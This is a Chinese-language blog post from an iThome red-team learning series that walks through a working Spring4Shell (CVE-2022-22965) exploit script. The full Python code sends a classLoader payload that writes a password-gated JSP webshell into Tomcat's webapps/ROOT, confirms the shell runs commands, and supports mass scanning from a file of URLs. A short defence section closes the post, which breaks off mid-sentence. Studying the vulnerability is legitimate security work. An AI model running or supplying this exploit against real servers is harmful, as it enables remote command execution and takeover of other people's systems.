iT邦幫忙

2024 iThome 鐵人賽

DAY 23
0
Security

【開局地端紅隊小白與雲端資安的清晨Punch】系列 第 23

【開局地端紅隊小白與雲端資安的清晨Punch】Day23 Spring4Shell CVE-2022-22965攻擊腳本說明

  • 分享至 

  • xImage
  •  

Spring4Shell CVE-2022-22965攻擊腳本說明

程式碼結構與執行流程

1. Imports

import requests
import argparse
from urllib.parse import urljoin
  • requests: 用於發送 HTTP 請求,這個庫是 Python 中常用的網路請求工具,可以輕鬆地構建和發送各種 HTTP 請求。
  • argparse: 用於解析命令列參數,這個模組讓程式可以處理用戶在命令行中輸入的參數和選項。
  • urljoin: 用於將基礎 URL 與特定路徑組合成完整的 URL,以便於動態構建請求目標。

2. Exploit 函式

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

  • Headers 設置:

    • suffix: 被設置為 "%>//",這是一個 JSP 代碼片段,用來閉合現有的 JSP 腳本標籤,使得後續的惡意代碼可以被插入並執行。
    • c1: 設置為 "Runtime",表示將在惡意代碼中調用 Java 的 Runtime 類來執行系統命令。
    • c2: 設置為 "<%",這是一個 JSP 代碼片段,用來打開 JSP 腳本標籤。
    • DNT: 設置為 "1",表示請求不希望被追蹤 (Do Not Track),這與漏洞利用無關,但有時候用來迷惑目標伺服器。
    • Content-Type: 設置為 "application/x-www-form-urlencoded",指定了請求體的內容類型,這是 HTTP POST 請求中常用的表單數據編碼方式。
  • Payload (data):

    • 這段 data 是核心的利用載荷,利用了 Spring Framework 的內部機制來覆蓋 pipeline 的日誌記錄配置。
    • 具體來說,它修改了 class.module.classLoader.resources.context.parent.pipeline.first.pattern 屬性,插入惡意 JSP 代碼。
    • 惡意代碼嘗試將用戶輸入的 cmd 參數作為系統命令執行,並將結果回傳給用戶。這個命令僅在 pwd=j 的條件下執行,以此作為簡單的認證機制。
    • JSP 文件最終被寫入到 Tomcat 的 webapps/ROOT 目錄中,文件名為 tomcatwar.jsp,因此可以通過訪問 /tomcatwar.jsp 來觸發這段惡意代碼。
  • 請求邏輯:

    • 利用 requests.post 發送載荷以觸發漏洞。
    • 利用 requests.get 嘗試訪問剛剛寫入的 JSP 文件,以確認利用是否成功。
    • 如果成功訪問該 JSP 文件,則表示漏洞被成功利用,程式會打印出後門地址,並附上用來驗證的命令 whoami。

3. Main 函式

def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

  • argparse 配置:
    • 設置了兩個命令行選項:--url 用來指定單個目標 URL,--file 用來指定一個包含多個 URL 的文件。
    • 程式會根據這些參數來決定是對單個 URL 還是批量 URL 進行漏洞利用。
  • 批量利用:
    • 如果指定了 --file,程式會讀取文件中的每一行,假設每一行是一個 URL,並對每個 URL 執行 Exploit 函數。

解析

這段代碼展示了如何利用 Spring 框架中的一個高危漏洞。以下是其中幾個關鍵點:

  1. Spring Framework 的 classLoader 繞過:
  • Spring Framework 使用了一個靈活但複雜的類加載機制來處理配置和依賴注入。攻擊者利用了這一點,通過傳遞特殊的 HTTP 請求來改變應用程序的內部配置。
  • 在這個案例中,攻擊者將一段惡意的日誌模式設置傳遞給 pipeline.first.pattern,這使得應用在處理日誌的同時,將惡意代碼注入到 JSP 文件中。
  1. JSP 代碼注入:
  • JSP 是 Java 開發環境中用來生成動態網頁的技術,這裡被用來作為後門文件。利用者將惡意代碼插入 JSP 中,並在目標的 webapps/ROOT 目錄下生成這個 JSP 文件。
  • 這樣一來,攻擊者便可以通過訪問這個 JSP 文件來執行任意系統命令,從而達到遠程控制受害系統的目的。
  1. 後門文件創建與檢測:
  • 代碼邏輯設計得相當巧妙,利用標準的 HTTP 請求去生成並檢測後門 JSP 文件的存在。這讓攻擊者可以輕鬆地確認漏洞是否被成功利用,並快速進行下一步的攻擊操作。
  1. 安全性與防禦:
  • 這種攻擊利用了應用框架層級的漏洞,僅僅依賴於傳統的邊界防禦(如防火牆)無法有效防禦這類攻擊。需要在應用程序層面進行嚴格的輸入驗證和安全配置管理,並對 Spring 等框架的安全更新保持敏感。
  • 採用 Web Application Firewall (WAF)、監控異常 HTTP 請求模式,及時更新軟體和修補漏洞等措施,是防範此類攻

上一篇
【開局地端紅隊小白與雲端資安的清晨Punch】Day22 Spring4Shell CVE-2022-22965 單機測試
下一篇
【開局地端紅隊小白與雲端資安的清晨Punch】Day24 Wazuh介紹
系列文
【開局地端紅隊小白與雲端資安的清晨Punch】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言